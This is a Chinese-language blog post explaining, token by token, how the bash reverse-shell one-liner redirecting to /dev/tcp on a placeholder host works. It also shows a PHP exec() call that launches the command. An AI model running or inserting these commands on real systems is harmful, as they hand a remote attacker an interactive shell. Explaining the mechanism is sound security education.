反弹bash shell解释

参考:
https://stackoverflow.com/questions/818255/what-does-21-mean/818265#818265

你是否使用过类似代码:

<?php exec("/bin/bash -c 'bash -i >&  /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1' ") ?>

其中

/bin/bash -c 'bash -i >&  /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1'

是一段用来反弹bash到目标ip的命令。意为使用bash打开新的bash,把标准输出重定向到远程主机,标准输入重定向到标准输出。实现远程主机输入命令,在本机执行,执行结果发送给远程主机。
由于反弹shell代码可能会被PHP等通过Bourne Shell (sh)执行,而不是被bash执行,而sh不支持我们的反弹shell的某些语法。为了确保反向shell通过Bash执行,我们需要修改反向shell命令。即通过提供bash -c 的参数来实现。

/bin/bash -c ""

即使用bash执行引号里的命令。

bash -i

意为打开可交互的bash。

/bin/bash -c 'bash .........'

相当于在命令行窗口直接输入bash并回车运行,在bash中执行了“打开bash”的操作。

>&

大于号是重定向符号,意为对标准输出进行重定向,重定向到&符号后面所给出的目标。&符号用来表明后面跟的是文件描述符(file descriptor)。>1>&1是有区别的,分别代表“重定向到文件名为1的文件中,若不存在该文件则进行创建,若存在该文件则对内容进行覆盖”和“重定向到标准输出”,使用&进行区分。&跟在>后的时候,被解释为重定向到文件描述符所指的目标。

/dev/tcp/xxx.xxx.xxx.xxx/port

是伪设备,代表远程主机。

>&  /dev/tcp/xxx.xxx.xxx.xxx/port

表示把标准输出重定向到远程主机。

0>&1

表示把标准输入重定向到标准输出。

/bin/bash -c 'bash -i >&  /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1'

有两个重定向命令,>& /dev/tcp/xxx.xxx.xxx.xxx/port执行过后,标准输出已经重定向到远程主机,再执行0>&1,把标准输入重定向到标准输出,执行后,标准输入和标准输出都重定向到了远程主机。

注意,下列命令作用不同:(把0>&1放到>& /dev/tcp/xxx.xxx.xxx.xxx/port前面)

/bin/bash -c 'bash -i  0>&1 >& /dev/tcp/xxx.xxx.xxx.xxx/port'

这条命令先把标准输入重定向到标准输出,再把标准输出重定向到远程主机,执行后,标准输出的确定向到了远程主机,但标准输入未发生改变。

注:

文件描述符:
0 标准输入
1 标准输出
2 标准错误

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值